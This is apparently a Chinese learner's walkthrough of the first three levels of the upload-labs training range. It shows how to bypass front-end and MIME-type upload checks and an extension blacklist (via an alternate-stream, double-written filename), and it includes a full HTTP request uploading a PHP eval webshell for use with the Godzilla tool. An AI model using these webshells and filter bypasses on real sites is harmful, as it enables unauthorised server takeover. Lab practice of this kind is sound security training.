upload-labs靶场
第一关 绕过前端
先打开哥斯拉,生成木马,选择php
打开brup开浏览器,上传文件,就会发现被阻止了,还没抓到包呢
那就是被前端代码阻止了,那通常前端代码都只能防御后缀名
我们抓到包后直接改回名称即可
那就先复制木马文件,再改成 .png 图片格式结尾
然后打开抓包,上传绕过前端,就能看到抓去的数据包了
改回去php即可
右键查看一下图片,就会发现图片地址都给我们了
# 所以木马位置在这里
http://127.0.0.1/upload-labs-master/upload/gesila.php
上哥斯拉测试连接,没毛病,下一题
第二关 绕过后端的类型判断
第二关可以用第一关的方法,但不知道为什么可以,于是看了一下源码,原来是类型绕过了
上传图片的时候,类型自动是图片类型,而这关可以直接用php文件上传
抓包改成图片类型就行了,连后缀名都不需要改
第三关 隐藏流文件双写绕过
上传木马文件,数据包增加下面东西,其实我也没看太懂
但可能会是一个比较实用的技巧
因为我看了一下源代码,源码是用php代码写常量数组判断后缀名是否在数组的后缀名中
所以这是很常见的防御写法,这种破解应该是比较实用的
完整数据包如下:
POST /upload-labs-master/Pass-03/index.php?action=show_code HTTP/1.1
Host: 127.0.0.1
Content-Length: 348
Cache-Control: max-age=0
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRSR1Z7D37x0XoKBw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/upload-labs-master/Pass-03/index.php?action=show_code
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ahreltidkjthrep12lbfgq9got
Connection: close
------WebKitFormBoundaryRSR1Z7D37x0XoKBw
Content-Disposition: form-data; name="upload_file"; filename="gesila.php::$DA::$DATATA"
Content-Type: application/octet-stream
<?php
eval($_POST["pass"]);
------WebKitFormBoundaryRSR1Z7D37x0XoKBw
Content-Disposition: form-data; name="submit"
涓婁紶
------WebKitFormBoundaryRSR1Z7D37x0XoKBw--
上传之后需要查看文件名是什么?不然没法搞
这个文件名一半看懂,一半没看懂,原理也没查到
反正前面就是年月日,后面一半就不知道是什么来的了,所以需要看到有文件名才能getshell